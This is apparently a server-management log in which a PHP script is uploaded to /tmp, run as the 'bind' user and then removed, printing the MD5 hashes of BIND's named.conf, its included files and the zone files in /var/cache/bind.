MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 14:05:55: Establishing a connection
2026-02-09 14:05:56: 

PUT: /tmp/pkp191886

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 14:05:56: 

runuser -l bind -s /bin/bash -c '/tmp/pkp191886; rm /tmp/pkp191886'

2026-02-09 14:05:56: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 14c1edeb05e4031ffc2f3b7e0fb4d902
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 14:07:09: Establishing a connection
2026-02-09 14:07:09: 

PUT: /tmp/pkp951336

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 14:07:10: 

runuser -l bind -s /bin/bash -c '/tmp/pkp951336; rm /tmp/pkp951336'

2026-02-09 14:07:10: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
